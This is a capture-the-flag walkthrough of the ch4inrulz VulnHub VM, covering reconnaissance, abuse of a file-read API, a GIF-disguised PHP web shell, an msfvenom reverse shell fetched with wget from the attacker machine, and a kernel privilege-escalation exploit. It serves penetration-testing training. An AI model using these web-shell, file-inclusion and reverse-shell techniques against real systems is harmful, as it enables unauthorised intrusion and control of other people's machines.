This post documents the complete walkthrough of ch4inrulz: 1.0.1, a boot2root VM created by askar, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

Background

Frank has a small website, and he is a smart developer with a normal security background; he always loves to follow patterns. Your goal is to discover any critical vulnerabilities and gain access to the system. Ultimately, you need to gain root access to capture the root flag.

Information Gathering

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.20.130
...
PORT     STATE SERVICE REASON         VERSION
21/tcp   open  ftp     syn-ack ttl 64 vsftpd 2.3.5
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.20.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 2.3.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d4:f8:c1:55:92:75:93:f7:7b:65:dd:2b:94:e8:bb:47 (DSA)
|   2048 3d:24:ea:4f:a2:2a:ca:63:b7:f4:27:0f:d9:17:03:22 (RSA)
|_  256 e2:54:a7:c7:ef:aa:8c:15:61:20:bd:aa:72:c0:17:88 (ECDSA)
80/tcp   open  http    syn-ack ttl 64 Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: FRANK's Website | Under development
8011/tcp open  http    syn-ack ttl 64 Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:50:56:3E:59:38 (VMware)

nmap finds 21/tcp, 22/tcp, 80/tcp, and 8011/tcp open. Since FTP allows anonymous login, let’s check that first.

77826fb7.png

Hmm. Nothing interesting to explore.

Frank’s Website

OK. Frank’s website is up next.

2bafdde5.png

I must say the design looks good. Clean and simple.

Now, let’s use dirb to bust some directories. 80/tcp goes first.

# dirb http://192.168.20.130 /usr/share/dirb/wordlists/big.txt -N 404 -r

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep  2 08:12:01 2018
URL_BASE: http://192.168.20.130/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Ignoring NOT_FOUND code -> 404
OPTION: Not Recursive

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://192.168.20.130/ ----
+ http://192.168.20.130/LICENSE (CODE:200|SIZE:1093)                                                
+ http://192.168.20.130/cgi-bin/ (CODE:403|SIZE:290)                                                
==> DIRECTORY: http://192.168.20.130/css/                                                           
+ http://192.168.20.130/development (CODE:401|SIZE:481)                                             
==> DIRECTORY: http://192.168.20.130/img/                                                           
+ http://192.168.20.130/index (CODE:200|SIZE:334)                                                   
==> DIRECTORY: http://192.168.20.130/js/                                                            
+ http://192.168.20.130/robots (CODE:200|SIZE:21)                                                   
+ http://192.168.20.130/robots.txt (CODE:200|SIZE:21)                                               
+ http://192.168.20.130/server-status (CODE:403|SIZE:295)                                           
==> DIRECTORY: http://192.168.20.130/vendor/                                                        

-----------------
END_TIME: Sun Sep  2 08:12:10 2018
DOWNLOADED: 20458 - FOUND: 7

/development/ needs credential.

5237ef7b.png

8011/tcp is next.

# dirb http://192.168.20.130:8011 /usr/share/dirb/wordlists/big.txt -N 404 -r

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep  2 08:12:26 2018
URL_BASE: http://192.168.20.130:8011/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Ignoring NOT_FOUND code -> 404
OPTION: Not Recursive

-----------------

GENERATED WORDS: 20458                                                         

---- Scanning URL: http://192.168.20.130:8011/ ----
==> DIRECTORY: http://192.168.20.130:8011/api/                                                      
+ http://192.168.20.130:8011/server-status (CODE:403|SIZE:297)                                      

-----------------
END_TIME: Sun Sep  2 08:12:34 2018
DOWNLOADED: 20458 - FOUND: 1

/api/ has some interesting information.

89bd5517.png

In particular, /api/files_api.php exists.

23727c34.png

I found out that /api/files_api.php is able to read files through POST requests. To that end, I wrote a script to cat files which I have read permissions.

files.sh
#!/bin/bash

HOST=192.168.20.130
API=api/files_api.php
PORT=8011
FILE=$1

curl -s -d "file=$FILE" "http://$HOST:$PORT/$API" \
| sed -e '6,$!d' -e '$d'

Let’s read /etc/passwd.

2dd01c7a.png

Not bad. There’s a frank account and www-data’s home directory is at /var/www.

Now, let’s read /var/www/development/.htaccess.

b238d228.png

.htpasswd is at somewhere else. Let’s read that as well.

389de4b4.png

I’m going to save .htpasswd and send it to John the Ripper for offline cracking.

8129131e.png

Time to access /development/ and see what we got there.

9c27747b.png

No surprise, the “uploader tool” is at /development/uploader/.

00044006.png

Here’s what I observed about the “uploader tool”:

  • Checks image file extension for JPG, JPEG, PNG, and GIF.
  • Checks the associated image MIME type

I crafted the following file to bypass the checks and to upload.

# cat cmd.php.gif
GIF89a;
<?php echo shell_exec($_GET['cmd']); ?>

OK. I manage to upload the file. But where’s the upload path?

2c64ed92.png

I’ve tried the following paths with no success:

  • /uploader/upload
  • /uploader/uploads
  • /uploader/myupload
  • /uploader/myuploads
  • /uploader/my-upload
  • /uploader/my-uploads
  • /uploader/my_upload
  • /uploader/my_uploads

Then I had an epiphany. What if the word ‘my’ refers to Frank? I tried all the permutations of “Frank” until I hit the one seen here.

d813c697.png

Sneaky bastard, this Frank.

Low-Privilege Shell

This is where I hit another road block. Somehow, the web server is refusing to load PHP at /development/uploader.

8aa3a2cd.png

No luck even with curl.

# curl -u 'frank:frank!!!' http://192.168.20.130/development/uploader/FRANKuploads/cmd.php.gif?cmd=id
GIF89a;
<?php echo shell_exec($_GET['cmd']); ?>

Wait a minute. Back up. When’s the last time I saw PHP loaded? At 8011/tcp with /api/files_api.php!

Perhaps I can re-purpose cat.sh to something like this.

cmd.sh
#!/bin/bash

HOST=192.168.20.130
API=api/files_api.php
PORT=8011
FILE=/var/www/development/uploader/FRANKuploads/cmd.php.gif
CMD=$(echo -n "$1" \
      | xxd -p \
      | tr -d '\n' \
      | sed -r 's/(..)/%\1/g')

curl -s -d "file=$FILE" "http://$HOST:$PORT/$API/?cmd=$CMD" \
| sed -e '6,$!d' -e '$d' \
| sed 1d

Let’s give it a shot.

# ./cmd.sh id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# ./cmd.sh "uname -a"
Linux ubuntu 2.6.35-19-generic #28-Ubuntu SMP Sun Aug 29 06:34:38 UTC 2010 x86_64 GNU/Linux
# ./cmd.sh "lsb_release -a"
Distributor ID:	Ubuntu
Description:	Ubuntu maverick (development branch)
Release:	10.10
Codename:	maverick

Too bad the VM has the traditional nc or BSD nc. Otherwise, we could have gotten a reverse shell with nc. Nonetheless, we can transfer a reverse shell over since wget is available.

On the attacking machine, generate a reverse shell with msfvenom.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.20.128 LPORT=1234 -f elf -o rev
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: rev

Next, host the reverse shell with Python’s SimpleHTTPServer module.

# python -m SimpleHTTPServer 80

Using cmd.sh, run this command.

# ./cmd.sh "wget -O /tmp/rev 192.168.20.128/rev"

b7722a6c.png

The transfer is successful. Next, make /tmp/rev executable.

# ./cmd.sh "chmod +x /tmp/rev"
# ./cmd.sh "ls -l /tmp/rev"
-rwxr-xr-x 1 www-data www-data 194 Sep  2 10:06 /tmp/rev

Lastly, before we run the reverse shell, we need to set up our nc listener to catch it on the attacking machine.

# ./cmd.sh /tmp/rev

8766d43e.png

Before I forget, here’s the user flag at /home/frank/user.txt.

3ce1f4bc.png

Privilege Escalation

If you have noticed the kernel version, you realized how old the kernel is. What does that mean for us? Local privilege escalation exploit! Let’s use searchsploit to find a relevant exploit.

62634bb3.png

I’ve chosen the ‘RDS Protocol’ local privilege escalation exploit. It’s relevant to the kernel and seems independent of the distribution. More importantly, it’s a simple and easy-to-understand exploit.

Now, how do I transfer the exploit source code over? Through wget and Python’s SimpleHTTPServer module of course. I’m also fortunate enough to have gcc available in the VM.

Let’s do this \o/

d2e7f948.png

What a bummer! :unamused:

cbf4dca2.png

Nothing is going to stop me :triumph:

43baf8c0.png

root at last!

cacb6659.png

Getting the root flag is one command away.

fc8c78c3.png

:dancer:

Afterthought

In the immortal words of Offensive Security, “Try Harder”.